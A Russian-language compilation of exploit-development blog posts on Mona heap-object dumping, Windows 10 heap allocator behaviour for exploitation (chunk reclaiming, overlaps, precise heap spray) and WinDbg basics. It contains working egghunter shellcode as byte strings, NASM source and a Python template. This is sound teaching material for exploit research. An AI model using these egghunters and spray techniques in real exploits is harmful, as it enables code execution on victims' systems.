0:001> !py mona info -a 0x023a1bc0
Hold on...
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] NtGlobalFlag: 0x00000070
    0x00000040 : +hpc - Enable Heap Parameter Checking
    0x00000020 : +hfc - Enable Heap Free Checking
    0x00000010 : +htc - Enable Heap Tail Checking

[+] Information about address 0x023a1bc0
     {PAGE_READWRITE}
    Address is part of page 0x013c0000 - 0x023a2000
    This address resides in the heap

Address 0x023a1bc0 found in
    _HEAP @ 00240000, Segment @ 013c0040
                  (         bytes        )                   (bytes)
```

```
      HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state
        023a1bb8  00000090  00000158  00000018  [07]   023a1bc0  00000078  00000010   Fill pattern,Extra present,Busy
                  00000144  00000344  00000024                   00000120  00000016   Fill pattern,Extra present,Busy

      Chunk header size: 0x8 (8)
      Size initial allocation request: 0x78 (120)
      Total space for data: 0x88 (136)
      Delta between initial size and total space for data: 0x10 (16)
      Data : 30 1d 3a 02 18 18 3a 02 00 00 00 00 3c 1d 3a 02 24 18 3a 02 0d f0 ad ba 00 00 02 00 01 00 00 00 ...

----------------------------------------------------
[+] Dumping object at 0x023a1bc0, 0x90 bytes

[+] Preparing output file 'dumpobj.txt'
    - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt

>> Object at 0x023a1bc0 (0x90 bytes):
Offset  Address      Contents    Info
------  -------      --------    -----
+00     0x023a1bc0 | 0x023a1d30  (Heap) ptr to ASCII '0::'
+04     0x023a1bc4 | 0x023a1818  (Heap) ptr to ASCII ':'
+08     0x023a1bc8 | 0x00000000
+0c     0x023a1bcc | 0x023a1d3c  (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4
+10     0x023a1bd0 | 0x023a1824  (Heap) ptr to ASCII ':'
+14     0x023a1bd4 | 0xbaadf00d
+18     0x023a1bd8 | 0x00020000  = UNICODE ' '
+1c     0x023a1bdc | 0x00000001
+20     0x023a1be0 | 0x00160014  = UNICODE ''
+24     0x023a1be4 | 0x023a1a38  (Heap) ptr to UNICODE 'Basic User'
+28     0x023a1be8 | 0x013a0138  (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+2c     0x023a1bec | 0x023a1a68  (Heap) ptr to UNICODE 'Allows programs to execute as a user that does not have Adminis
+30     0x023a1bf0 | 0x00000000
+34     0x023a1bf4 | 0x00000001
+38     0x023a1bf8 | 0x023a18a8  (Heap) ptr to 0x00000101 :
+3c     0x023a1bfc | 0x00000000
+40     0x023a1c00 | 0x00000000
+44     0x023a1c04 | 0x00000007
+48     0x023a1c08 | 0x00000007
+4c     0x023a1c0c | 0x023a18d0  (Heap) ptr to ASCII ' :H:p:'
+50     0x023a1c10 | 0x00000000
+54     0x023a1c14 | 0x00000000
+58     0x023a1c18 | 0x00000000
+5c     0x023a1c1c | 0x00000000
+60     0x023a1c20 | 0x00000000
+64     0x023a1c24 | 0x00000000
+68     0x023a1c28 | 0x00000000
+6c     0x023a1c2c | 0x00000000
+70     0x023a1c30 | 0x00000000
+74     0x023a1c34 | 0x00000000
+78     0x023a1c38 | 0xabababab
+7c     0x023a1c3c | 0xabababab
+80     0x023a1c40 | 0x00000000
+84     0x023a1c44 | 0x00000000
+88     0x023a1c48 | 0x00120007  = UNICODE ''
+8c     0x023a1c4c | 0x051e0752

[+] Disassembly:
    Instruction at 023a1bc0 : XOR BYTE PTR
```

dumplog (dl)

Команда `dumpobj` явно облегчает визуализацию важной информации внутри известного объекта. Но что делать, если вы регистрировали все выделения и освобождения кучи приложения в файле журнала? Даже несколько строк JavaScript могут создать значительный шум кучи, затрудняя поиск интересных объектов.

Чтобы упростить задачу, я реализовал `dumplog`: она разбирает журнал определённого синтаксиса и выполняет `dumpobj` для каждого выделенного, но не освобождённого объекта. Текущая версия `dumplog` не выводит связанные объекты, однако вскоре я планирую добавить эту функцию — вероятно, уже завтра.

Для `dumplog` нужна правильная настройка. Необходимо заставить WinDbg создать журнал в определённом формате и выполнить `dumplog` в том же сеансе отладки, чтобы записанные операции выделения и освобождения сохраняли актуальность.

Вывод `!py mona help dumplog`:

```
Usage of command 'dl':
----------------------
Dump all objects recorded in an alloc/free log
Note: dumplog will only dump objects that have not been freed in the same logfile.
Expected syntax for log entries:
    Alloc : 'alloc(size in hex) = address'
    Free  : 'free(address)'
Additional text after the alloc & free info is fine.
Just make sure the syntax matches exactly with the examples above.
Arguments:
    -f <path/to/logfile> : Full path to the logfile
```

Идея состоит в записи всех выделений и освобождений кучи. В WinDbg это делается следующим образом.

Перед запуском процесса и операциями, которые требуется зафиксировать и проанализировать, укажите WinDbg записывать вывод окна журнала в текстовый файл:

```
.logclose
.logopen c:\allocs.txt
```

Затем установите две регистрирующие точки останова:

```
bp !ntdll + 0002e12c ".printf \"alloc(0x%x) = 0x%p\", poi(esp+c), eax; .echo; g"
bp ntdll!RtlFreeHeap "j (poi(esp+c)!=0) '.printf \"free(0x%p)\", poi(esp+c); .echo; g'; 'g';"
```

(На основе свежей версии `kernel32.dll` из Windows 7 SP1.)

Эти точки выводят сообщение в журнал WinDbg при каждом вызове `RtlAllocateHeap` и `RtlFreeHeap`, включая ценные сведения о вызове API. Важно соблюдать формат, но в конец строки можно добавлять текст. Активировав точки и запись журнала в файл, запустите приложение.

Когда будете готовы к анализу, прервите WinDbg. Не закрывайте его, а закройте файл журнала командой `.logclose`.

Теперь Mona может разобрать журнал, найти выделенные и не освобождённые объекты и выполнить `dumpobj` для каждого:

```
!py mona dl -f c:\allocs.txt
```

Результат записывается в `dump_alloc_free.txt`.

Надеюсь, эти две новые функции вам понравятся.

Берегите себя.

С наилучшими пожеланиями,

-corelanc0d3r

Обновление от 17 августа

`dumplog` теперь поддерживает вывод связанных объектов (параметр `-l`). У связанных объектов указывается ссылка на родительский объект. Это также относится к `dumpobj`.

Пользовательская куча x86/WOW64 в Windows 10

corelanc0d3r, 2016-07-05

Введение

Windows 10 заняла достаточную долю рынка, чтобы заслужить более пристального изучения. В этих заметках описывается поведение пользовательской кучи Windows в 32-разрядных процессах, сравнивается с Windows 7 и исследуются способы управления размещением выделений.

В ходе исследования рассматриваются следующие вопросы:

1. Как ведёт себя внутренний распределитель?
2. Что активирует кучу с низкой фрагментацией?
3. Чем поведение LFH в Windows 10 отличается от Windows 7?
4. Можно ли предсказуемо размещать рядом объекты одинакового или различного размера?
5. Можно ли по-прежнему выполнить точное распыление кучи?

Это экспериментальные наблюдения, а не выводы, полученные путём обратной разработки `ntdll.dll`. Набор тестов ограничен и должен послужить отправной точкой для дальнейших измерений и обратной разработки.

Предполагается, что читатель знаком с внутренним и внешним распределителями Windows 7 и выводом команд WinDBG `!heap`. Во всех тестах используется стандартная куча процесса.

Терминология:

• **Фрагмент (chunk):** непрерывная выделенная область.
• **Блок (block):** восьмибайтовая единица размера. WinDBG иногда называет словом «block» фрагмент, но в этой статье такое значение не используется.
• **VirtualAllocdBlock:** фрагмент, запрошенный через `RtlAllocateHeap`, размер которого превышает `VirtualMemoryThreshold`; он выделяется вне обычных сегментов и отслеживается через `VirtualAllocdBlocks`.
• **Сегмент:** управляемая кучей область, содержащая фрагменты.
• **Подсегмент:** область LFH, содержащая фрагменты из одной корзины.

Тестовая среда

• Полностью обновлённая Windows 10 Enterprise x64 в VirtualBox, два процессора и 1,8 ГБ ОЗУ.
• Visual Studio Express 2015 for Desktop.
• Свежая версия WinDBG для Windows 10, способная разбирать актуальные структуры кучи.
• Символы настроены через `_NT_SYMBOL_PATH=srv*C:\symbols*http://msdl.microsoft.com/download/symbols`.

Исходный код и проекты Visual Studio доступны в репозитории `win10_heap`.

Куча

Как и в предыдущих версиях Windows, куча Windows 10 начинается по адресу, зависящему от ASLR, и открывается заголовком _HEAP. Адреса меняются между запусками.

Важные поля 32-разрядной структуры _HEAP:

```
0:003> dt _HEAP 00a40000
ntdll!_HEAP
   +0x000 Segment                  : _HEAP_SEGMENT
   +0x04c EncodeFlagMask           : 0x100000
   +0x050 Encoding                 : _HEAP_ENTRY
   +0x05c VirtualMemoryThreshold   : 0xfe00
   +0x09c VirtualAllocdBlocks      : _LIST_ENTRY
   +0x0a4 SegmentList              : _LIST_ENTRY
   +0x0b4 BlocksIndex              : 0x00a40260
   +0x0c0 FreeLists                : _LIST_ENTRY
   +0x0d0 FrontEndHeap             : 0x003f0000
   +0x0d6 FrontEndHeapType         : 0x2
   +0x0d8 FrontEndHeapUsageData    : 0x00a43fe8
   +0x0dc FrontEndHeapMaximumIndex: 0x802
```

Поля EncodeFlagMask и Encoding находятся по тем же смещениям, что и в Windows 7. Случайный ключ для каждого процесса и каждой кучи по смещению 0x50 кодирует заголовки фрагментов операцией XOR. Расширение кучи WinDBG декодирует их автоматически.

Значение VirtualMemoryThreshold равно 0xfe00 блоков, то есть 0x7f000 байт. Обычное выделение в куче, превышающее этот порог, обрабатывается как VirtualAllocdBlock.

Значение FrontEndHeapType, равное 2, обозначает LFH. Поле FrontEndHeap указывает на её главную структуру _LFH_HEAP, содержащую структуры корзин, подсегментов, кэша, политик и локальных данных:

```
0:003> dt _LFH_HEAP 0x003f0000
ntdll!_LFH_HEAP
   +0x004 SubSegmentZones        : _LIST_ENTRY
   +0x00c Heap                   : 0x00a40000
   +0x030 RunInfo                : _HEAP_BUCKET_RUN_INFO
   +0x038 UserBlockCache         : [12] _USER_MEMORY_CACHE_ENTRY
   +0x1b8 MemoryPolicies         : _HEAP_LFH_MEM_POLICIES
   +0x1bc Buckets                : [129] _HEAP_BUCKET
   +0x3c0 SegmentInfoArrays      : [129]
   +0x5c4 AffinitizedInfoArrays  : [129]
   +0x7d0 LocalData              : [1] _HEAP_LOCAL_DATA
```

В Windows 7 заголовок LFH обычно располагается внутри первого сегмента кучи. В Windows 10 он, по всей видимости, находится за пределами диапазона этого сегмента.

Внутренний распределитель

BEA_Alloc1: разделение и объединение

Внутренний распределитель по-прежнему активен по умолчанию. Освобождённые фрагменты распределены по размеру в списках свободных областей, на которые указывает смещение кучи 0xc0. Индексы соответствуют шагу в восемь байт, а нулевой индекс управляет фрагментами, превышающими последнюю корзину фиксированного размера.

Первый тест выделяет два фрагмента по 0x300 байт. Изначально точного свободного фрагмента нет, но сегмент заканчивается свободным фрагментом размером 0xba0 байт:

```
01561438 0175 0201 [00] 01561440 00ba0 - (free)
```

Распределитель отделяет память от его начала:

```
Allocated chunk of 0x300 bytes at 0x01561440
Allocated chunk of 0x300 bytes at 0x01561748

01561438 0061 0201 [00] 01561440 00300 - (busy)
01561740 0061 0061 [00] 01561748 00300 - (busy)
01561a48 00b3 0061 [00] 01561a50 00590 - (free)
```

Выделения соседствуют, поскольку оба были взяты с начала одного большого свободного фрагмента.

BEA_Alloc2: точное соответствие перед более крупными фрагментами

Выделим десять фрагментов по `0x300`, не достигая порога активации LFH, а затем освободим последний. Поскольку он граничит с оставшимся пространством сегмента, области объединяются в свободный фрагмент размером `0x12c8` байт.

Перед двумя новыми запросами по `0x100` список свободных областей содержит:

```
009b2b00 ... 009b2b08 00100 - (free)
009bc330 ... 009bc338 00198 - (free)
009c0d10 ... 009c0d18 012c8 - (free)
```

Результаты:

```
Allocated chunk of 0x100 bytes at 0x009B2B08
Allocated chunk of 0x100 bytes at 0x009BC338
```

Первым используется фрагмент точного размера. Для второго запроса разделяется фрагмент `0x198`. Гораздо более крупный фрагмент в конце сегмента остаётся нетронутым. Следовательно, последовательные запросы необязательно окажутся рядом и не обязательно автоматически займут недавно освобождённую область `0x300`.

BEA_Alloc3: повторное занятие объекта точного размера

Повторное занятие освобождённого фрагмента зависит от всего остального содержимого списка свободных областей. Усилить контроль можно, исчерпав подходящие свободные фрагменты и исключив объединение уязвимого фрагмента с соседним свободным.

Тест исчерпывает свободные записи для `0x58` и `0x100`, а затем создаёт:

```
Allocated chunk of 0x100 bytes at 0x016D09B8
Allocated chunk of 0x58 bytes at 0x016D0AC0, filled with 'A'
Allocated chunk of 0x100 bytes at 0x016D0B20
```

WinDBG подтверждает соседство:

```
016d09b0 ... 016d09b8 00100 - (busy)
016d0ab8 ... 016d0ac0 00058 - (busy)
016d0b18 ... 016d0b20 00100 - (busy)
```

Защитные фрагменты предотвращают объединение. После освобождения и повторного выделения `0x58` используется тот же адрес:

```
Free chunk of 0x58 bytes at 0x016D0AC0
Allocated chunk of 0x58 bytes at 0x016D0AC0, filled with 'B'
```

Исходные данные `A` заменяются на `B`, что демонстрирует надёжное повторное занятие фрагментом того же размера при использовании BEA.

BEA_Alloc4: перекрытие областями разных размеров

В этом тесте предпринимается попытка заменить освобождённый объект `0x58` выделением `0x80`, последние четыре DWORD которого должны перекрыть первые четыре DWORD исходного объекта.

Желаемая структура:

```
[0x80 guard][0x68 precursor][0x58 vulnerable][0x80 guard]
```

При освобождении фрагменты `0x68` и `0x58` объединяются во фрагмент `0xc8`. Выделение `0x80` занимает начало этой области. В расчёте допущена ошибка на восемь байт; вероятно, предшествующий фрагмент `0x60` обеспечил бы нужное выравнивание перекрытия. Тем не менее тест показывает, как объединение и выделение областей различного размера позволяют создать контролируемое перекрытие.

Все техники BEA зависят от того, удастся ли избежать управления задействованными размерами со стороны LFH.

Внешний распределитель: LFH

LFH_Alloc1: порог активации

Windows 7 активирует корзину после 18 выделений. Тесты в Windows 10 с размерами `0x1500`, `0x2100`, `0x3000` и `0x800` дают тот же результат. Выделение 17 является обычным занятым фрагментом, а выделением 18 управляет LFH:

```
0:001> !heap -x 0x00D61FE8
00d61fe0 ... 1508 1508 8 busy

0:001> !heap -x 0x00D6B348
00d6b340 ... 1508 - 8 LFH;busy
```

Выделение из другой корзины в середине последовательности не сбрасывает счётчик. Освобождение фрагмента другого размера или фрагмента из той же корзины во время последовательности также не препятствует активации: 18-м выделением всё равно начинает управлять LFH.

Поэтому избежать LFH может быть сложно, если эксплойту требуется создать более 17 выделений в одной корзине.

LFH_Alloc2: отсутствие надёжного LIFO

Активируем LFH двадцатью выделениями `0x500`, освободим последний фрагмент и запросим ещё один `0x500`. В отличие от Windows 7, следующий запрос не всегда возвращает последний освобождённый адрес:

```
Freed chunk at 0x008E6E10
Allocated chunk of 0x500 bytes at 0x008E9148
```

При дальнейших выделениях адрес `0x008E6E10` в конечном счёте занимается повторно; в этом запуске потребовалось девять запросов. В разных запусках количество варьировалось от немедленного повторного использования до его отсутствия в первых 20 запросах. Добавленные позднее автоматические измерения в `LFH_TakeBack` показали максимум около 50 выделений для

размеров до 0x4000, но единого фиксированного правила LIFO нет.

Кроме того, фрагменты LFH больше не располагаются последовательно внутри подсегмента, что затрудняет создание точных последовательностей объектов.

LFH_Alloc3: максимальный размер

Двадцать выделений 0x4000 активируют LFH на 18-м запросе. При двадцати выделениях 0x4008 этого не происходит:

```
0:001> !heap -x <18th 0x4000 allocation>
... 4008 - 8 LFH;busy

0:001> !heap -x <18th 0x4008 allocation>
... 4010 4010 8 busy
```

Как и в Windows 7, максимальный размер LFH остаётся равным 0x4000.

LFH_TakeBack2: замена фрагментом из другой корзины

Можно ли заменить освобождённый фрагмент LFH размером 0x58 запросом 0x88? Разместим уязвимый объект в подсегменте, где все остальные фрагменты контролируются, освободим уязвимый фрагмент и всех его соседей, а затем запросим достаточно выделений 0x88, чтобы диспетчер кучи повторно использовал освобождённые страницы.

До освобождения:

```
Vulnerable object of 0x58 bytes at 0x01136B98, filled with 'A'
01136b90 01136b98 ... 60 - 8 LFH;busy
```

После освобождения всего подсегмента и выделения фрагментов 0x88:

```
01136b98 42424242 42424242 42424242 42424242
...
01136b80 01136b88 ... 90 - 8 LFH;busy
```

Теперь те же страницы принадлежат фрагменту LFH размером 0x90, что доказывает возможность повторного занятия областью из другой корзины. Однако рандомизированное размещение всё ещё затрудняет точное управление отдельными байтами.

Крупные фрагменты

Large_Alloc1: VirtualAllocdBlocks

Запросы, превышающие порог 0x7f000, по-прежнему создают VirtualAllocdBlocks. Двадцать запросов 0x7ffb0 отображаются в списке так:

```
VirtualAllocdBlocks @ e2009c
00c48018 ... 00c48020 7ffb0 - (busy VirtualAlloc)
01110018 ... 01110020 7ffb0 - (busy VirtualAlloc)
011a1018 ... 011a1020 7ffb0 - (busy VirtualAlloc)
...
```

Каждый начинается с новой страницы, но промежутки больше и менее предсказуемы, чем в Windows 7. Это снижает надёжность распыления широких диапазонов адресов с помощью

VirtualAllocdBlocks.

Large_Alloc2: точное распыление

Точное распыление в Windows 10 по-прежнему возможно, если избежать как LFH, так и VirtualAllocdBlocks. Выберите обычное выделение сегмента, полный размер фрагмента которого выровнен по странице, например `0x20000-8` или `0x40000-8`. После создания нового сегмента и получения первого места возвращаемые пользовательские адреса выравниваются единообразно:

```
[4]  Allocated chunk at 0x015B0048
[5]  Allocated chunk at 0x015F0048
[6]  Allocated chunk at 0x01630048
[8]  Allocated chunk at 0x016F0048
[9]  Allocated chunk at 0x01730048
...
```

Первый сегмент может начинаться с неудобного смещения, но последующие сегменты выравниваются по границам страниц. Повторяйте желаемую структуру через каждые `0x1000` байт внутри каждого выделения. Тест `Precise_Spray` помещает `$$$$` по адресу `0x0c0c0c0c`:

```
Spray done, check 0x0c0c0c0c
Contents at 0x0c0c0c0c: 24242424

0:003> db 0c0c0c0c
0c0c0c0c  24 24 24 24 20 20 20 20-20 20 20 20 20 20 20 20  $$$$
```

Многопоточные приложения создают шум при выделении памяти. Один из способов его уменьшить — создать множество крупных временных выделений, разделив их сохраняемыми небольшими выделениями, а затем освободить крупные. Не связанная с эксплойтом активность приложения сможет занимать эти свободные области, не нарушая выровненное распыление.

Хорошие результаты были получены с запрашиваемыми размерами `0x1fff8` и `0x3fff8`; другие размеры фрагментов, кратные странице, должны вести себя схожим образом.

Удачи.

Peter

Egghunter для Windows 10 (WoW64) и не только

corelanc0d3r, 2019-04-23

Введение

Меня всегда увлекали egghunter-ы. Это не означает, что я использую их только потому, что механизм интересен. Как правило, по возможности лучше обходиться без них: поиск по памяти может замедлить эксплойт.

Меня восхищает именно метод поиска по памяти, который не приводит к аварийному завершению процесса.

Это моя первая техническая публикация почти за три года и первая после фактического прекращения работы Corelan Team. Недавно я ушёл с основной работы и основал Corelan Consulting, сосредоточившись на обучении разработке эксплойтов и консалтинге по кибербезопасности.

Обновляя материалы Corelan Bootcamp для Windows 10, я обнаружил, что Windows 7 WOW64 egghunter, созданный Lincoln, больше не работает. В этом нет ничего удивительного: Microsoft меняет номера системных вызовов между крупными выпусками Windows, а распространённый механизм egghunter зависит от такого вызова. Номера задокументированы в таблицах системных вызовов Windows Матэуша Юрчика.

Одной замены номера оказалось недостаточно. В Windows 10 вызов ожидает другие аргументы и иначе влияет на стек и регистры. Несколько PoC для Windows 10 оказались ненадёжными в настоящих эксплойтах. Lincoln отладил проблему и создал версию, работающую с реальными целями Windows 10.

WOW64 egghunter для Windows 10

Необходимо было определить, какие аргументы ожидает обновлённый системный вызов и как он изменяет регистры и стек, сохранив возможность проверять доступность страницы без завершения процесса.

Обновлённая процедура:

```
egghunter = (
    "\x33\xD2"                  # XOR EDX, EDX
    "\x66\x81\xCA\xFF\x0F"  # OR DX, 0x0FFF
    "\x33\xDB"                  # XOR EBX, EBX
    "\x42"                      # INC EDX
    "\x52"                      # PUSH EDX
    "\x53"                      # PUSH EBX
    "\x53"                      # PUSH EBX
    "\x53"                      # PUSH EBX
    "\x53"                      # PUSH EBX
    "\x6A\x29"                  # PUSH 0x29 (system call number)
    "\x58"                      # POP EAX
    "\xB3\xC0"                  # MOV BL, 0xC0
    "\x64\xFF\x13"              # CALL DWORD PTR FS:[EBX]
    "\x83\xC4\x10"              # ADD ESP, 0x10
    "\x5A"                      # POP EDX
    "\x3C\x05"                  # CMP AL, 5
```

```
    "\x74\xE3"                  # JE SHORT
    "\xB8\x77\x30\x30\x74"  # MOV EAX, 0x74303077
    "\x8B\xFA"                  # MOV EDI, EDX
    "\xAF"                      # SCASD
    "\x75\xDE"                  # JNZ SHORT
    "\xAF"                      # SCASD
    "\x75\xDB"                  # JNZ SHORT
    "\xFF\xE7"                  # JMP EDI
)
```

Код работает в WOW64, то есть в 32-разрядном процессе на 64-разрядной Windows 10. Как Lincoln описал в предыдущей статье, для поддержки нативной 32-разрядной Windows можно добавить проверку архитектуры.

Сгенерировать hunter с помощью Mona можно так:

```
!mona egg -wow64 -winver 10
```

При отладке WOW64 hunter, вызывающего системные функции, каждая попытка проверить нечитаемую страницу вызывает access violation. Операционная система безопасно обрабатывает эти исключения, но отладчик останавливается на каждом из них. В Immunity Debugger откройте **Debugging options > Exceptions** и добавьте следующие диапазоны:

• `0xC0000005`: access violation;
• `0x80000001`: guard-page violation.

После завершения отладки hunter удалите эти исключения.

Дальнейшее направление

Microsoft вправе изменять внутреннее устройство операционной системы. Предполагается, что приложения используют функции-обёртки из `ntdll.dll`, а не выполняют системные вызовы напрямую. Поэтому изменение номеров системных вызовов вполне оправданно.

Отсюда возник более общий вопрос: можно ли создать egghunter, который вообще не использует системные вызовы, работает в старых версиях Windows и поддерживает как нативную x86, так и WOW64?

Обработка исключений

В статье Skape 2004 года Safely Searching Process Virtual Address Space описано применение собственного exception handler для восстановления после попытки прочитать недоступную страницу. Handler возвращает управление в hunter, чтобы тот продолжил поиск.

Исходная реализация, по-видимому, больше не работает. Windows, похоже, не разрешает указателю exception handler напрямую ссылаться на стек; вероятно, это же ограничение действует и для heap. Поэтому hunter, выполняющийся на стеке или в heap, не может просто зарегистрировать самого себя как handler.

Когда Windows передаёт исключение потока диспетчеру, процедура из `ntdll.dll` читает первое поле TEB по адресу `FS:[0]` и получает верхнюю запись SEH-цепочки потока. Каждая запись содержит два поля:

```
struct EXCEPTION_REGISTRATION {
    EXCEPTION_REGISTRATION *nextrecord;
    DWORD handler;
};
```

Сначала вызывается handler верхней записи. Если он не может обработать исключение, диспетчер переходит к следующей записи, пока какой-либо handler не справится либо обработчик по умолчанию не завершит процесс.

SEH-based hunter должен создать и сохранять собственную верхнюю запись, чей handler возвращает выполнение в hunter на следующей странице. Необходимо учесть несколько последствий:

1. Диспетчеризация исключения изменяет ESP и создаёт на стеке frame диспетчера. Указатель исходного SEH frame находится по адресу ESP+8; hunter должен отменить изменение стека.
2. Hunter должен повторно использовать одну запись, а не постоянно добавлять новые и исчерпывать место на стеке. Он обязан оставаться position-independent.
3. Поле handler должно быть совместимо с SafeSEH. Это слабое место решения. Оно также не работает при включённом SEHOP, хотя на момент написания статьи SEHOP по умолчанию не включался на клиентских системах.

Собственная запись перезаписывает данные рядом с ESP. Если в этой области стека находится hunter или shellcode, сначала скорректируйте ESP.

Следующий исходный код NASM реализует универсальный SEH-based hunter для нативной x86 и WOW64; он протестирован в Windows 7 и Windows 10:

```
; Universal SEH-based egg hunter (x86 and WOW64)
; Tested on Windows 7 and Windows 10
; Warning: damages stack data around ESP.
; Replace 0x44444444 with a non-SafeSEH pop/pop/ret address.

[BITS 32]

CALL $+4                       ; GetPC routine.
RET
POP ECX
ADD ECX, 0x1d                  ; ECX = address of handle.

; Set up a custom SEH record.
XOR EBX, EBX
PUSH ECX                       ; Address of handle.
PUSH ECX                       ; Compensates for the second POP.
PUSH 0x90c3585c                ; POP ESP; POP EAX; RET; NOP.
PUSH 0x44444444                ; Non-SafeSEH POP/POP/RET placeholder.
PUSH 0x04EB5858                ; POP EAX; POP EAX; JMP SHORT +4.
MOV DWORD [FS:EBX], ESP        ; Make this record topmost.

JMP nextpage

handle:
    SUB ESP, 0x14              ; Undo dispatcher changes to ESP.
    XOR EBX, EBX
    MOV DWORD [FS:EBX], ESP    ; Restore our record as topmost.
    MOV EDX, [ESP+24]          ; Recover the saved search address.
    INC EDX

nextpage:
    OR DX, 0x0FFF
    INC EDX
    MOV [ESP+24], EDX          ; Save the current search address.
    MOV EAX, 0x74303077        ; "w00t" tag.
    MOV EDI, EDX
    SCASD
    JNZ nextpage+5
    SCASD
    JNZ nextpage+5
    JMP EDI
```

GetPC и собственная запись

Hunter начинается с GetPC-процедуры, получающей его абсолютный адрес. После добавления `0x1d` регистр `ECX` указывает на `handle`. Механизм обработки исключений в итоге должен вернуть управление туда.

Хотя SEH-запись содержит лишь два поля, hunter помещает на стек пять специально подобранных значений:

• Первый `PUSH ECX` сохраняет адрес `handle`.
• Второй компенсирует второй `POP`, когда последовательность `POP POP RET` используется повторно.
• `0x90c3585c` декодируется как `POP ESP; POP EAX; RET; NOP`. Последовательность восстанавливает исходное положение стека, а затем возвращается к указателю `POP POP RET`, сохранённому в SEH-записи.
• `0x44444444` заменяется адресом `POP POP RET` из модуля без SafeSEH. Направить handler прямо в стек или heap нельзя, поэтому эта последовательность сохраняет управление потоком.
• `0x04EB5858` декодируется как две инструкции `POP` и короткий переход. Она корректирует стек и передаёт выполнение ранее помещённой последовательности инструкций.

Инструкция `MOV DWORD [FS:EBX], ESP` записывает адрес созданной записи в `FS:[0]`, делая её верхней в SEH-цепочке.

Поиск и восстановление

`EDX` служит указателем поиска. `OR DX,0x0FFF` перемещает его в конец текущей страницы, а `INC EDX` переходит к следующей. Текущее значение сохраняется на стеке, чтобы exception handler мог его восстановить.

Если `SCASD` вызывает access violation, собственная SEH-запись запускает путь восстановления. `handle` вычитает `0x14` из `ESP`, снова устанавливает собственную запись во главе цепочки, загружает `EDX` и переходит к следующей странице.

Если страница читаема, hunter дважды ищет tag. При совпадении `JMP EDI` выполняет код, находящийся сразу после двойного tag.

Во время отладки можно игнорировать те же два диапазона исключений, что и для WOW64 hunter. После завершения удалите их.

Сборка SEH hunter

Сохраните исходный код, например как `C:\dev\win10_egghunter_seh.nasm`, и соберите его с помощью NASM:

```
"C:\Program Files (x86)\NASM\nasm.exe" -o C:\dev\win10_egghunter_seh.obj C:\dev\win10_egghunter_seh.nasm
```

Преобразуйте бинарный файл в hexadecimal-представление с помощью Corelan `bin2hex.py`:

```
python C:\dev\bin2hex.py C:\dev\win10_egghunter_seh.obj
```

Результат:

```
(
    "\xe8\xff\xff\xff\xff\xc3\x59\x83"
    "\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
    "\x58\xc3\x90\x68\x44\x44\x44\x44"
    "\x68\x58\x58\xeb\x04\x64\x89\x23"
    "\xeb\x0d\x83\xec\x14\x31\xdb\x64"
```

```
    "\x89\x23\x8b\x54\x24\x24\x42\x66"
    "\x81\xca\xff\x0f\x42\x89\x54\x24"
    "\x24\xb8\x77\x30\x30\x74\x89\xd7"
    "\xaf\x75\xf1\xaf\x75\xee\xff\xe7"
)
```

Замените четыре байта `\x44` в конце третьей строки little-endian адресом `POP POP RET`. Удобное представление на Python:

```
egghunter = (
    "\xe8\xff\xff\xff\xff\xc3\x59\x83"
    "\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
    "\x58\xc3\x90\x68"
)

# Replace with a pop/pop/ret pointer found using !mona seh.
egghunter += "\x??\x??\x??\x??"

egghunter += (
    "\x68\x58\x58\xeb\x04\x64\x89\x23"
    "\xeb\x0d\x83\xec\x14\x31\xdb\x64"
    "\x89\x23\x8b\x54\x24\x24\x42\x66"
    "\x81\xca\xff\x0f\x42\x89\x54\x24"
    "\x24\xb8\x77\x30\x30\x74\x89\xd7"
    "\xaf\x75\xf1\xaf\x75\xee\xff\xe7"
)
```

На момент публикации эта процедура ещё не была добавлена в Mona. Приветствуются отзывы, уменьшенные варианты и результаты тестов в разных версиях и архитектурах Windows.

Вот и всё, друзья

Спасибо за внимание. Надеюсь, новая статья вам понравилась и вы так же воодушевлены будущим, как и я.

Отладка — основы WinDBG и WinDBGX

corelanc0d3r, 2026-03-23

Введение

WinDbg — нативный отладчик Microsoft для целей Windows пользовательского режима и режима ядра. **WinDbg Classic** — традиционное настольное приложение; **WinDbgX** — современный интерфейс на основе того же движка и языка команд.

Эта глава закладывает практическую основу отладки пользовательского режима: установка, символы, запуск и присоединение, управление выполнением, регистры, дизассемблирование, точки останова, исследование, поиск и редактирование памяти, журналирование и Mona.

Почему WinDbg?

WinDbg понимает символы Windows, исключения, потоки, процессы, модули, кучи, нативные структуры данных, дампы сбоев и состояние ядра. Язык команд поддерживает сценарии и одинаково работает при живой отладке и анализе дампов.

Его интерфейс даёт меньше подсказок, чем многие графические отладчики, однако команды предоставляют точные и воспроизводимые доказательства, подходящие для исследования уязвимостей.

Символы

Символы сопоставляют адреса с модулями, функциями, типами, исходным кодом и локальными переменными. Публичные символы Microsoft обычно раскрывают имена функций и многие типы без закрытых исходных сведений.

Настройте локальный кэш с сервером символов Microsoft:

```
.symfix C:\symbols
.reload
```

Эквивалентный явный путь:

```
srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```

Проверка и устранение проблем загрузки:

```
.sympath
!sym noisy
.reload /f module.dll
lmv m module
!sym quiet
```

Несоответствие символов может привести к неверным именам, типам и трассировкам стека. Сверяйте временную метку, контрольную сумму, версию и архитектуру модуля.

Установка WinDbg Classic и WinDbgX

Зачем нужны обе версии?

Classic WinDbg по-прежнему полезен благодаря многолетним рабочим процессам, расширениям, структурам окон и совместимости. WinDbgX предлагает современный интерфейс, интегрированные настройки, навигацию по исходному коду и более удобную работу. Оба используют `dbgeng` и в основном разделяют команды.

Автоматическая установка

PowerShell или пакетные менеджеры позволяют установить средства отладки Windows SDK и WinDbgX.

Установщик учебной виртуальной машины Corelan может настроить распространённые зависимости и отладчики в лабораторном образе.

Ручная установка

WinDbg Classic устанавливается через Windows SDK с выбором **Debugging Tools for Windows**. WinDbgX распространяется как пакет WinDbg через Microsoft Store/App Installer.

Используйте архитектуру отладчика, подходящую для цели и расширений. 64-разрядный отладчик способен отлаживать многие 32-разрядные цели через WOW64, но архитектура расширений и Python всё равно имеет значение.

Сервер символов Microsoft
